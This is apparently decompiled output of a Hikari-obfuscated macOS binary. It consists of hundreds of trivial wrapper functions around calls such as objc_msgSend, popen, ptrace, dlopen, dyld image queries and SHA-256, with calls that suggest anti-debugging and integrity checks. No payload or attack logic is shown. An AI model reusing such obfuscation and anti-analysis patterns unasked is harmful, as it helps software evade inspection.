//----- (00000001000542C0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2647(const char *a1, int a2)
{
return HikariFunctionWrapper_2646(a1, a2);
}
//----- (00000001000542D0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2648(FILE *a1)
{
return fileno(a1);
}
//----- (00000001000542E0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2649(FILE *a1)
{
return HikariFunctionWrapper_2648(a1);
}
//----- (00000001000542F0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2650(int a1, int a2)
{
return dup2(a1, a2);
}
//----- (0000000100054300) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2651(int a1, int a2)
{
return HikariFunctionWrapper_2650(a1, a2);
}
//----- (0000000100054310) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2652(int a1)
{
return close(a1);
}
//----- (0000000100054320) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2653(int a1)
{
return HikariFunctionWrapper_2652(a1);
}
//----- (0000000100054330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2654(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100054340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2655(NSString *a1)
{
HikariFunctionWrapper_2654(a1);
}
//----- (0000000100054350) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2656(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100054360) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2657(void *a1)
{
HikariFunctionWrapper_2656(a1);
}
//----- (0000000100054370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2658(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2659(void *a1, const char *a2)
{
return HikariFunctionWrapper_2658(a1, a2);
}
//----- (0000000100054390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2660(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000543A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2661(void *a1, const char *a2)
{
return HikariFunctionWrapper_2660(a1, a2);
}
//----- (00000001000543B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2662(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000543C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2663(void *a1, const char *a2)
{
return HikariFunctionWrapper_2662(a1, a2);
}
//----- (00000001000543D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2664(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000543E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2665(void *a1, const char *a2)
{
return HikariFunctionWrapper_2664(a1, a2);
}
//----- (00000001000543F0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2666(int a1, pid_t a2, char *a3, int a4)
{
return ptrace(a1, a2, a3, a4);
}
//----- (0000000100054400) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2667(int a1, pid_t a2, char *a3, int a4)
{
return HikariFunctionWrapper_2666(a1, a2, a3, a4);
}
//----- (0000000100054410) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2668(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054420) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2669(void *a1, const char *a2)
{
HikariFunctionWrapper_2668(a1, a2);
}
//----- (0000000100054430) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2670(objc_class *a1, const char *a2)
{
return class_getInstanceMethod(a1, a2);
}
//----- (0000000100054440) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2671(objc_class *a1, const char *a2)
{
return HikariFunctionWrapper_2670(a1, a2);
}
//----- (0000000100054450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2672(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2673(void *a1, const char *a2)
{
return HikariFunctionWrapper_2672(a1, a2);
}
//----- (0000000100054470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2674(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2675(void *a1, const char *a2)
{
return HikariFunctionWrapper_2674(a1, a2);
}
//----- (0000000100054490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2676(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000544A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2677(void *a1, const char *a2)
{
return HikariFunctionWrapper_2676(a1, a2);
}
//----- (00000001000544B0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2678()
{
clearDesktop();
}
//----- (00000001000544C0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2679()
{
HikariFunctionWrapper_2678();
}
//----- (00000001000544D0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2680(const void *a1, Dl_info *a2)
{
return dladdr(a1, a2);
}
//----- (00000001000544E0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2681(const void *a1, Dl_info *a2)
{
return HikariFunctionWrapper_2680(a1, a2);
}
//----- (00000001000544F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2682(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2683(void *a1, const char *a2)
{
return HikariFunctionWrapper_2682(a1, a2);
}
//----- (0000000100054510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2684(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2685(void *a1, const char *a2)
{
return HikariFunctionWrapper_2684(a1, a2);
}
//----- (0000000100054530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2686(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2687(void *a1, const char *a2)
{
return HikariFunctionWrapper_2686(a1, a2);
}
//----- (0000000100054550) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2688(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054560) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2689(void *a1, const char *a2)
{
HikariFunctionWrapper_2688(a1, a2);
}
//----- (0000000100054570) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2690(FILE *a1)
{
return pclose(a1);
}
//----- (0000000100054580) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2691(FILE *a1)
{
return HikariFunctionWrapper_2690(a1);
}
//----- (0000000100054590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2692(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000545A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2693(void *a1, const char *a2)
{
HikariFunctionWrapper_2692(a1, a2);
}
//----- (00000001000545B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2694(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000545C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2695(void *a1, const char *a2)
{
return HikariFunctionWrapper_2694(a1, a2);
}
//----- (00000001000545D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2696(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000545E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2697(void *a1, const char *a2)
{
return HikariFunctionWrapper_2696(a1, a2);
}
//----- (00000001000545F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2698(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2699(void *a1, const char *a2)
{
return HikariFunctionWrapper_2698(a1, a2);
}
//----- (0000000100054610) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_2700(const char *a1, const char *a2)
{
return popen(a1, a2);
}
//----- (0000000100054620) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_2701(const char *a1, const char *a2)
{
return HikariFunctionWrapper_2700(a1, a2);
}
//----- (0000000100054630) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2702(char *a1, int a2, FILE *a3)
{
return fgets(a1, a2, a3);
}
//----- (0000000100054640) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2703(char *a1, int a2, FILE *a3)
{
return HikariFunctionWrapper_2702(a1, a2, a3);
}
//----- (0000000100054650) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2704(char *a1, const char *a2)
{
return strstr(a1, a2);
}
//----- (0000000100054660) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2705(char *a1, const char *a2)
{
return HikariFunctionWrapper_2704(a1, a2);
}
//----- (0000000100054670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2706(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2707(void *a1, const char *a2)
{
return HikariFunctionWrapper_2706(a1, a2);
}
//----- (0000000100054690) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2708(FILE *a1)
{
return pclose(a1);
}
//----- (00000001000546A0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2709(FILE *a1)
{
return HikariFunctionWrapper_2708(a1);
}
//----- (00000001000546B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2710(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000546C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2711(void *a1, const char *a2)
{
HikariFunctionWrapper_2710(a1, a2);
}
//----- (00000001000546D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2712(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000546E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2713(void *a1, const char *a2)
{
return HikariFunctionWrapper_2712(a1, a2);
}
//----- (00000001000546F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2714(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2715(void *a1, const char *a2)
{
return HikariFunctionWrapper_2714(a1, a2);
}
//----- (0000000100054710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2716(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2717(void *a1, const char *a2)
{
return HikariFunctionWrapper_2716(a1, a2);
}
//----- (0000000100054730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2718(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2719(void *a1, const char *a2)
{
return HikariFunctionWrapper_2718(a1, a2);
}
//----- (0000000100054750) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_2720(const char *a1, const char *a2)
{
return popen(a1, a2);
}
//----- (0000000100054760) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_2721(const char *a1, const char *a2)
{
return HikariFunctionWrapper_2720(a1, a2);
}
//----- (0000000100054770) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2722(char *a1, const char *a2)
{
return strstr(a1, a2);
}
//----- (0000000100054780) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2723(char *a1, const char *a2)
{
return HikariFunctionWrapper_2722(a1, a2);
}
//----- (0000000100054790) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2724(FILE *a1)
{
return pclose(a1);
}
//----- (00000001000547A0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2725(FILE *a1)
{
return HikariFunctionWrapper_2724(a1);
}
//----- (00000001000547B0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2726(FILE *a1)
{
return pclose(a1);
}
//----- (00000001000547C0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2727(FILE *a1)
{
return HikariFunctionWrapper_2726(a1);
}
//----- (00000001000547D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2728(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000547E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2729(void *a1, const char *a2)
{
return HikariFunctionWrapper_2728(a1, a2);
}
//----- (00000001000547F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2730(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2731(void *a1, const char *a2)
{
return HikariFunctionWrapper_2730(a1, a2);
}
//----- (0000000100054810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2732(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2733(void *a1, const char *a2)
{
return HikariFunctionWrapper_2732(a1, a2);
}
//----- (0000000100054830) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2734()
{
clearDesktop();
}
//----- (0000000100054840) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2735()
{
HikariFunctionWrapper_2734();
}
//----- (0000000100054850) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2736(const char *a1)
{
return getenv(a1);
}
//----- (0000000100054860) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_2737(const char *a1)
{
return HikariFunctionWrapper_2736(a1);
}
//----- (0000000100054870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2738(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2739(void *a1, const char *a2)
{
return HikariFunctionWrapper_2738(a1, a2);
}
//----- (0000000100054890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2740(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000548A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2741(void *a1, const char *a2)
{
return HikariFunctionWrapper_2740(a1, a2);
}
//----- (00000001000548B0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2742()
{
clearDesktop();
}
//----- (00000001000548C0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2743()
{
HikariFunctionWrapper_2742();
}
//----- (00000001000548D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2744(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000548E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2745(void *a1, const char *a2)
{
return HikariFunctionWrapper_2744(a1, a2);
}
//----- (00000001000548F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2746(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2747(void *a1, const char *a2)
{
return HikariFunctionWrapper_2746(a1, a2);
}
//----- (0000000100054910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2748(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054920) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2749(void *a1, const char *a2)
{
HikariFunctionWrapper_2748(a1, a2);
}
//----- (0000000100054930) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2750(FILE *a1)
{
return pclose(a1);
}
//----- (0000000100054940) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2751(FILE *a1)
{
return HikariFunctionWrapper_2750(a1);
}
//----- (0000000100054950) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2752(FILE *a1)
{
return pclose(a1);
}
//----- (0000000100054960) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2753(FILE *a1)
{
return HikariFunctionWrapper_2752(a1);
}
//----- (0000000100054970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2754(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2755(void *a1, const char *a2)
{
return HikariFunctionWrapper_2754(a1, a2);
}
//----- (0000000100054990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2756(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000549A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2757(void *a1, const char *a2)
{
return HikariFunctionWrapper_2756(a1, a2);
}
//----- (00000001000549B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2758(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000549C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2759(void *a1, const char *a2)
{
return HikariFunctionWrapper_2758(a1, a2);
}
//----- (00000001000549D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2760(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000549E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2761(void *a1, const char *a2)
{
return HikariFunctionWrapper_2760(a1, a2);
}
//----- (00000001000549F0) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2762(const char *a1)
{
return objc_getClass(a1);
}
//----- (0000000100054A00) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2763(const char *a1)
{
return HikariFunctionWrapper_2762(a1);
}
//----- (0000000100054A10) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2764(const char *a1)
{
return objc_getClass(a1);
}
//----- (0000000100054A20) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2765(const char *a1)
{
return HikariFunctionWrapper_2764(a1);
}
//----- (0000000100054A30) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2766(objc_class *a1, const char *a2)
{
return class_getInstanceMethod(a1, a2);
}
//----- (0000000100054A40) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2767(objc_class *a1, const char *a2)
{
return HikariFunctionWrapper_2766(a1, a2);
}
//----- (0000000100054A50) ----------------------------------------------------
NSString *__fastcall HikariFunctionWrapper_2768(const char *a1)
{
return NSStringFromSelector(a1);
}
//----- (0000000100054A60) ----------------------------------------------------
NSString *__fastcall HikariFunctionWrapper_2769(const char *a1)
{
return HikariFunctionWrapper_2768(a1);
}
//----- (0000000100054A70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2770(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2771(void *a1, const char *a2)
{
return HikariFunctionWrapper_2770(a1, a2);
}
//----- (0000000100054A90) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2772(const char *a1)
{
return objc_getClass(a1);
}
//----- (0000000100054AA0) ----------------------------------------------------
Class __fastcall HikariFunctionWrapper_2773(const char *a1)
{
return HikariFunctionWrapper_2772(a1);
}
//----- (0000000100054AB0) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2774(objc_class *a1, const char *a2)
{
return class_getInstanceMethod(a1, a2);
}
//----- (0000000100054AC0) ----------------------------------------------------
Method __fastcall HikariFunctionWrapper_2775(objc_class *a1, const char *a2)
{
return HikariFunctionWrapper_2774(a1, a2);
}
//----- (0000000100054AD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2776(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054AE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2777(void *a1, const char *a2)
{
return HikariFunctionWrapper_2776(a1, a2);
}
//----- (0000000100054AF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2778(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054B00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2779(void *a1, const char *a2)
{
HikariFunctionWrapper_2778(a1, a2);
}
//----- (0000000100054B10) ----------------------------------------------------
NSString *__fastcall HikariFunctionWrapper_2780(const char *a1)
{
return NSStringFromSelector(a1);
}
//----- (0000000100054B20) ----------------------------------------------------
NSString *__fastcall HikariFunctionWrapper_2781(const char *a1)
{
return HikariFunctionWrapper_2780(a1);
}
//----- (0000000100054B30) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2782(const void *a1, Dl_info *a2)
{
return dladdr(a1, a2);
}
//----- (0000000100054B40) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2783(const void *a1, Dl_info *a2)
{
return HikariFunctionWrapper_2782(a1, a2);
}
//----- (0000000100054B50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2784(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054B60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2785(void *a1, const char *a2)
{
return HikariFunctionWrapper_2784(a1, a2);
}
//----- (0000000100054B70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2786(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054B80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2787(void *a1, const char *a2)
{
return HikariFunctionWrapper_2786(a1, a2);
}
//----- (0000000100054B90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2788(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054BA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2789(void *a1, const char *a2)
{
HikariFunctionWrapper_2788(a1, a2);
}
//----- (0000000100054BB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2790(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100054BC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2791(NSString *a1)
{
HikariFunctionWrapper_2790(a1);
}
//----- (0000000100054BD0) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_2792(const char *a1, int a2)
{
return dlopen(a1, a2);
}
//----- (0000000100054BE0) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_2793(const char *a1, int a2)
{
return HikariFunctionWrapper_2792(a1, a2);
}
//----- (0000000100054BF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2794(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054C00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2795(void *a1, const char *a2)
{
return HikariFunctionWrapper_2794(a1, a2);
}
//----- (0000000100054C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2796(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2797(void *a1, const char *a2)
{
return HikariFunctionWrapper_2796(a1, a2);
}
//----- (0000000100054C30) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2798(void *a1)
{
return dlclose(a1);
}
//----- (0000000100054C40) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2799(void *a1)
{
return HikariFunctionWrapper_2798(a1);
}
//----- (0000000100054C50) ----------------------------------------------------
SEL __fastcall HikariFunctionWrapper_2800(const char *a1)
{
return sel_registerName(a1);
}
//----- (0000000100054C60) ----------------------------------------------------
SEL __fastcall HikariFunctionWrapper_2801(const char *a1)
{
return HikariFunctionWrapper_2800(a1);
}
//----- (0000000100054C70) ----------------------------------------------------
IMP __fastcall HikariFunctionWrapper_2802(objc_method *a1)
{
return method_getImplementation(a1);
}
//----- (0000000100054C80) ----------------------------------------------------
IMP __fastcall HikariFunctionWrapper_2803(objc_method *a1)
{
return HikariFunctionWrapper_2802(a1);
}
//----- (0000000100054C90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2804(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054CA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2805(void *a1, const char *a2)
{
return HikariFunctionWrapper_2804(a1, a2);
}
//----- (0000000100054CB0) ----------------------------------------------------
IMP __fastcall HikariFunctionWrapper_2806(objc_method *a1)
{
return method_getImplementation(a1);
}
//----- (0000000100054CC0) ----------------------------------------------------
IMP __fastcall HikariFunctionWrapper_2807(objc_method *a1)
{
return HikariFunctionWrapper_2806(a1);
}
//----- (0000000100054CD0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2808(const void *a1, Dl_info *a2)
{
return dladdr(a1, a2);
}
//----- (0000000100054CE0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2809(const void *a1, Dl_info *a2)
{
return HikariFunctionWrapper_2808(a1, a2);
}
//----- (0000000100054CF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2810(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054D00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2811(void *a1, const char *a2)
{
HikariFunctionWrapper_2810(a1, a2);
}
//----- (0000000100054D10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2812(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054D20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2813(void *a1, const char *a2)
{
return HikariFunctionWrapper_2812(a1, a2);
}
//----- (0000000100054D30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2814(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054D40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2815(void *a1, const char *a2)
{
return HikariFunctionWrapper_2814(a1, a2);
}
//----- (0000000100054D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2816(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2817(void *a1, const char *a2)
{
return HikariFunctionWrapper_2816(a1, a2);
}
//----- (0000000100054D70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2818(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054D80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2819(void *a1, const char *a2)
{
HikariFunctionWrapper_2818(a1, a2);
}
//----- (0000000100054D90) ----------------------------------------------------
const char *__fastcall HikariFunctionWrapper_2820(uint32_t a1)
{
return _dyld_get_image_name(a1);
}
//----- (0000000100054DA0) ----------------------------------------------------
const char *__fastcall HikariFunctionWrapper_2821(uint32_t a1)
{
return HikariFunctionWrapper_2820(a1);
}
//----- (0000000100054DB0) ----------------------------------------------------
const mach_header *__fastcall HikariFunctionWrapper_2822(uint32_t a1)
{
return _dyld_get_image_header(a1);
}
//----- (0000000100054DC0) ----------------------------------------------------
const mach_header *__fastcall HikariFunctionWrapper_2823(uint32_t a1)
{
return HikariFunctionWrapper_2822(a1);
}
//----- (0000000100054DD0) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_2824(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return CC_SHA256(a1, a2, a3);
}
//----- (0000000100054DE0) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_2825(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return HikariFunctionWrapper_2824(a1, a2, a3);
}
//----- (0000000100054DF0) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_2826(void *a1, const char *a2)
{
return dlsym(a1, a2);
}
//----- (0000000100054E00) ----------------------------------------------------
